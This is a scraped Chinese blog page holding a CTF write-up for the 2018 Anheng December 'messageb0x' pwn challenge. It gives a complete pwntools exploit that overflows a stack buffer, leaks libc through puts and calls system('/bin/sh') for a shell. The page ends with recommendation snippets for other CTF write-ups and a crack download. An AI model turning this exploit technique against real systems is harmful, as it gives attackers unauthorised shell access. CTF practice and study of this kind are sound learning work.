2018 -12月份 安恒月赛 pwn

安恒四月月赛DASCTF-Misc Write Up 参考资料 http://www.ga1axy.top/index.php/archives/28/ https://shimo.im/docs/WjVJd6pqy8dWxd6w/ Misc 6G还远吗(签到题) 开始点击下载后发现文件接近3.45G,而且下载速度贼慢,上面显示下完需要7.8个小时不过我们比赛时间只有四个小时 于是现将文件的部分下载下来载入010中可以看到flag 涉... 阅读详情

Messageb0x

$ file messageb0x 
messageb0x: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d932d2afbca74b57908822f22041237e233d4733, not stripped
$ checksec messageb0x 
[*] '/home/hu/Documents/comp/anheng/messageb0x'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

直接可以32位rop

  char v1; // [esp+0h] [ebp-58h]
  char v2; // [esp+32h] [ebp-26h]
  char s; // [esp+46h] [ebp-12h]

  puts("--> Plz tell me who you are:");
  fgets(&s, 10, stdin); //无法覆盖ret
  printf("--> hello %s", &s);
  puts("--> Plz tell me your email address:");
  fgets(&v2, 20, stdin); //无法覆盖ret
  puts("--> Plz tell me what do you want to say:");
  fgets(&v1, 200, stdin); //可以覆盖ret,可以利用
  puts("--> Here is your info:");
  puts(&v1); 
  return puts("--> Thank you !");

fun
可以看出里面有write函数和puts函数可以用来leak libc

step1

构造一个print 函数,用来泄露 libc

def prin(fun_got):
    s= 'a'*1
    p.sendlineafter('--> Plz tell me who you are:\n',s)
    v2 ='a'*1
    p.sendlineafter('--> Plz tell me your email address:\n',v2)
    v1 = 'a'*(0x58+4)+p32(elf.plt['puts'])+p32(proc)+p32(fun_got)
    p.sendlineafter('--> Plz tell me what do you want to say:\n',v1)
    p.recvuntil('--> Thank you !\n')
    fun_lib =p.recv(4).ljust(4,'\x00')
    
    print(u32(fun_lib))
    return(u32(fun_lib))
start_lib = prin(elf.got['__libc_start_main'])

print(hex(start_lib))

step2

得到system 和 /bin/sh

libc = LibcSearcher('__libc_start_main',start_lib)
libc_base = start_lib - libc.dump('__libc_start_main')
system = libc_base + libc.dump('system')
binsh  = libc_base + libc.dump('str_bin_sh')
print('system=',p32(system),'binsh=',p32(binsh))

step3

getshell

s = 'a'
p.sendlineafter('--> Plz tell me who you are:\n',s)
v2 ='a'
p.sendlineafter('--> Plz tell me your email address:\n',v2)
v1_ = 'a'*(0x58+4)+p32(system)+p32(0)+p32(binsh)
p.sendlineafter('--> Plz tell me what do you want to say:',v1_)
p.recvuntil('--> Thank you !')
p.interactive()

完整exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf = ELF('./messageb0x')
p=process('./messageb0x')
#p =remote("101.71.29.5",'10009')

proc = 0x0804923B
##############leak######################
def prin(fun_got):
    s= 'a'*1
    p.sendlineafter('--> Plz tell me who you are:\n',s)
    v2 ='a'*1
    p.sendlineafter('--> Plz tell me your email address:\n',v2)
    v1 = 'a'*(0x58+4)+p32(elf.plt['puts'])+p32(proc)+p32(fun_got)
    p.sendlineafter('--> Plz tell me what do you want to say:\n',v1)
    p.recvuntil('--> Thank you !\n')
    fun_lib =p.recv(4).ljust(4,'\x00')
    
    print(u32(fun_lib))
    return(u32(fun_lib))


start_lib = prin(elf.got['__libc_start_main'])

print(hex(start_lib))
##############get-libc and system binsh###############
libc = LibcSearcher('__libc_start_main',start_lib)
libc_base = start_lib - libc.dump('__libc_start_main')
system = libc_base + libc.dump('system')
binsh  = libc_base + libc.dump('str_bin_sh')
print('system=',p32(system),'binsh=',p32(binsh))




##################get shell#############################
s = 'a'
p.sendlineafter('--> Plz tell me who you are:\n',s)
v2 ='a'
p.sendlineafter('--> Plz tell me your email address:\n',v2)
v1_ = 'a'*(0x58+4)+p32(system)+p32(0)+p32(binsh)
p.sendlineafter('--> Plz tell me what do you want to say:',v1_)
p.recvuntil('--> Thank you !')
p.interactive()

整个流程不难
但是自己还是踩了坑
p.recvuntil(’–> Thank you !\n’)
之前一直忘记了一个\n,得到的结果是0xd595400a,而正确的结果是0xf7d45540,多余的0a使得我leak的地址一直出错,
得不到对应的libc版本。
pwn这个活一定要细,1%的错误也会导致自己100%失败

2018安恒杯11月赛-Web writeup 心态炸了 阅读详情

相关推荐

纯小白:记一次CTF-安恒杯(2018年12月赛事)——找压缩包flag

文件中的秘密 见到图片的格式,常规先观察图片本身是否隐含着东西。根据在“属性”,就发现了它的flag。 flag{870c5a72806115cb5439345d8b014396} 学习资料 首先,分析其已知文件/未加密文件。 根据常规操作,察看word文档有什么东西 查看word文档的隐藏选项,发现啥子东西都没有被隐藏。 既然没有什么东西,那就考虑这个文件是不是通过外包装,伪装好的文件。 于是,根据winhex查看文件,发现该word文件的文件头...

m0_47890438的博客 2385

安恒月赛writeup 2018年12月

目录 misc1 misc2(签到) misc3 (学习资料) misc4(JUJU) web1 web2 pwn1 misc和web,和一道pwn misc1 看提示想到去下当时泄露的库 然后写脚本处理一下把数据库的内容,生成三个由用户名,密码,邮箱组成的字典,使用密码组成的字典爆开了压缩包 解压后得到个动图,记录上面的数字得到236855282761588523...

SsMing的博客 1784

安恒2018年12月月赛wp web部分

好久没有打过ctf,正好周末有时间,打了一波安恒的月赛感觉挺基础的,比较适合像我这样的萌新,这次记录一下解题的过程。做得时候没有截图,最后想写的时候就剩一点没关的页面可以截几个图 web1 题目地址:http://101.71.29.5:10000 题目打开看着是一个网站,按照常规的思路先御剑扫描,发现存在admin.php、存在.DS_Store文件,存在文件泄露,ds_store_exp 是一...

南天_princess的博客 857

2018二月安恒月赛WRITE UP

二月安恒月赛WRITE UPCRYPTO凯撒?替换?呵呵!题目说明:MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}answer:这题可以秒解,因为flag格式是flag{},所以MTHJ应该替换成flag。掏出杀器替换网站quipquip真的是秒解,遗憾没打这比赛,一分钟不到就拿一血是怎样一种体验233333允许...

郁离歌丶的博客 6756

安恒杯月赛题目参赛源码+项目说明.zip

【资源说明】 1、该资源包括项目的全部源码,下载可以直接使用! 2、本项目适合作为计算机、数学、电子信息等专业的竞赛项目学习资料,作为参考学习借鉴。 3、本资源作为“参考资料”如果需要实现其他功能,需要能看懂代码,并且热爱钻研,自行调试。 安恒杯月赛题目参赛源码+项目说明.zip

使用PaddleOCR识别查验平台验证码

PaddleOCR识别国税查验平台验证码

m0_63932300的博客 1269

安恒月赛WriteUp-2018.12

安恒月赛WriteUp2018-12月   WEB1-easy: web1反序列化   一打开就显示了源代码:  <?php   @error_reporting(1); include 'flag.php'; class baby {        public $file;     function __toString()           {      ...

BlusKing 3161

PYNQ-Z2 开发板从镜像烧录到 Jupyter 交互全流程指南

本文详细介绍了PYNQ-Z2开发板从镜像烧录到Jupyter交互的全流程指南,包括硬件解析、镜像烧录技巧、设备启动与网络配置、Jupyter Notebook深度使用以及实战案例分享。通过具体步骤和实用技巧,帮助开发者快速上手PYNQ-Z2开发板,实现高效的FPGA开发和智能家居控制应用。

weixin_28736355的博客 440

2018 6月安恒杯月赛

更一下比赛的 解析吧。安恒杯的 三题web,唔,平台关了所以,链接就 随缘了! 第一题 嗯,遇到就点吧,点击的时候页面不会跳转但是还是会有反应的,如果右键打开之后会有新的路径,后面有跟一个microsoft 的教程。那 这题就是一个 注入吧 但是常规注入并不能注入进去,无奈。Redis的注入也没有,于是看了解析之后我们就很自然的可以想到MongoDB注入,怎么说呢。只要想到他就能做出来,百度一...

weixin_40423072的博客 1942

关于 MCU 芯片外围电路的快速入门介绍

MCU 外围电路的核心是“围绕 MCU 需求,搭建稳定、匹配的外部支撑”,入门阶段无需掌握复杂设计,只需先吃透供电、复位、时钟、IO 驱动、基础通信这五大模块,再逐步扩展存储、显示、传感器等进阶功能。实践中多调试、多参考成熟方案,是快速掌握外围电路设计的关键。码字不易,若觉得本文对你有用,欢迎,相关技术热点时时看🔥🔥🔥​​​…

JiaWen的博客 1645

Apifox 自动化测试新增流程控制条件,复杂测试场景不再是问题

在 if 条件后的输入框填写请求接口得到的变量 viewed ,选择条件为「小于」,输入比较数值 10 ,并在 if 条件下添加「宠物下架处理」步骤。借助新增的自动化测试流程控制条件,测试人员就可以使用 Apifox 去实现更深层更多样的测试应用场景,帮助提升测试效率,减少复杂场景的测试操作。「查询新建宠物」、「修改宠物状态为已售出」和「查询宠物状态是否修改」步骤为当前在售宠物信息盘点的三个标准步骤,所以将这三个步骤合成一组。在循环中添加「查询在售宠物」和「修改宠物状态」步骤;

877

安恒杯10月月赛两道逆向2018.10.27

这次两道逆向题都用到了base64加密,参看:base64由来、原理及代码实现两道题目及脚本链接:链接提取码:6oc7 一、easytree给出的是一个没有后缀的文件,经过查看是一个exe程序: 加上后缀,运行程序: 打开ida,发现有upx加壳,呵!拉到脱壳机脱壳后,再用ida打开 可知flag长度为15,经过了三个函数处理,最后和一个字符串比较,若相...

qq_39153421的博客 672

AI中台系统设计方案探讨

集成JupyterLab、低代码建模工具(如H2O.ai)、预训练模型库(Hugging Face、PaddleHub)。:通过REST/gRPC接口封装AI能力(如OCR、语音识别),支持流量控制与鉴权(如Kong、Apigee)。:服务注册发现(Consul)、熔断降级(Hystrix)、监控告警(Prometheus+Grafana)。:分布式存储(如HDFS、Ceph)与对象存储(如S3、OSS),支持海量数据高速读写。加密传输(TLS)、动态脱敏(如数据掩码)、访问控制(RBAC)。

reset2021的博客 1033

六月安恒月赛——记录

有段时间没有练习了,趁着周末做一下安恒月赛,这次的月赛题目大部分比较简单。 PWN和CRYPTO比较生疏就没做。 0x01 WEB——ezupload 题目是最常规的上传绕过,这里可以直接修改Content-Type和添加图片文件头来绕过检测。 另外,上传的文件后缀会被修改,如上传:eval.php,最后会成...

weixin_34417635的博客 464

2017阿里内推笔试题--算法工程师(运筹优化)

2017阿里内推笔试题–算法工程师(运筹优化)题目沐哲是一个菜鸟仓库的一个拣货员,但他有非常个怪异的习惯。每次拣货的重量都要比之前拣的一个轻,每次拣到货后都可以得到1块钱,沐哲想知道这样最多能赚多少钱 32 34 7 33 21 2 13 12 3 11 26 36 16 30 22 1 24 14 20 23 25 5 19 29 27 15 9 17 31 4 6 18 8 10 3

shawpan的专栏 1万+

Test软件:Keysight二次开发_(1).Keysight软件开发概述

VISA(Virtual Instrument Software Architecture)库是Keysight提供的一种标准化的仪器控制接口,支持多种编程语言和开发环境。仪器通信:通过GPIB、USB、以太网等接口与仪器进行通信。数据采集:从仪器中获取测量数据。命令发送:向仪器发送控制命令。错误处理:处理通信过程中可能出现的错误。测试自动化是指通过编写脚本或程序来自动执行测试任务,从而提高测试效率和减少人为错误。Keysight的测试设备和仪器支持多种编程语言和开发环境,使得测试自动化变得相对容易。

2401_87715305的博客 1359

CTF-安恒18年十二月月赛部分writeup

CTF-安恒十二月月赛部分writeup 这次题目都比较简单蛤,连我这菜鸡都能做几道。 WEB1-ezweb2 打开网站,啥也没有,审计源代码,还是啥都没有,也没什么功能菜单,扫了一下目录,扫到了admin.php,但是提示:你不是管理员。好吧,抓个包看看 解一下码--: 将user改为admin,发现直接跳转到了admin.php页面。 这个框试了一下是可以执行命...

weixin_34255055的博客 987

飞书接入OpenClaw:从零到一的保姆级图文教程

本文主要介绍了飞书接入OpenClaw:从零到一的保姆级图文教程,希望能对学习使用OpenClaw 的同学们有所帮助。 文章目录 1. 背景 2. 解决方案 2.1 步骤一:安装插件 2.2 步骤二:创建机器人应用 2.3 步骤三:测试 3. 注意事项

weixin_43178406的博客 13万+

2018安恒杯12月月赛复现

前言 萌新因为种种原因没有做安恒12月的月赛题,正巧这几天发现复现,又学到了新知识! 正文 Web easy 题目index.php给出源码: <?php @error_reporting(1); include 'flag.php'; class baby { public $file; function __toString() { ...

Gard3nia的博客 1954

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

安恒杯十二月月赛,Misc:JUJU

png 图片,改高出现 base32 编码 MZWGCZ33GQZTQMTEM5SGMMTEPU====== 解码得 flag

Pai_Space 388

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

[红明谷CTF 2021]write_shell

意思是在/sandbox/c55e0cb61f7eb238df09ae30a206e5ee中的index.php写入data数据。过滤单引号,可以使用反引号绕过,在php中,被反引号包裹的代码会被当做。waf 过滤了’ 空格 _ php;

wp568的博客 164

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

PWN工具介绍

Author:ZERO-A-ONE Date:2021-07-02 一、PWNTOOLS 1.1 程序的启动与远程连接 使用process接口启动程序 常用:process(argv,env),例如: process('./demo'):执行可执行文件demo process(['cat','flag]):执行命令cat flag process("./demo",env={'LD_PRELOAD':'./libc.so.6'}):以指定环境变量运行文件 当程序运行于远程时,提供了Host和监.

kelxLZ的博客 1466

pwntools常用脚本语句介绍讲解

接收远端传回的数据 interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。 recv(numb=字节大小, timeout=default) : 接收指定字节数。 recvall() : 一直接收直到达到文件EOF。 recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。 recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。 recvrepeat(timeou

半岛铁盒的博客 5618

Pwn入门笔记(一)基础编程函数

基础编程函数文件库和设置本地文件的调试和远程端口的连接发送和接收文件的加载类函数打/解包函数打包:解包shellcode 正式开始学习pwn了,第一次写pwn脚本,在开始之前需要了解一些基础知识。写pwn脚本我们用python在linux环境下运行。 文件库和设置 安装pwntools库后,开头加上 from pwn import * 这是导入pwntools库的所有函数,也是一个pwn脚本的起点。 context(os="liunx",arch="x86/amd64",log_level="debug"

qq_33590156的博客 2535

安恒 12月 pwn ----messageb0x

这次安恒就看了pwn题,第二个是orange,还不会,就做了下第一个 总体就是个简单的rop,但是有个坑就是题目让我们猜libc的版本到底是啥 然后我在IDA里看到了一个字符串 被坑惨了,在2.27调试了半天后来发现是2.23的,哭了 #coding=utf8 from pwn import * context.log_level = 'debug' context.terminal...

qq_42192672的博客 897
上一篇: 南宁安全赛
下一篇: hitcon lab1-lab14
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值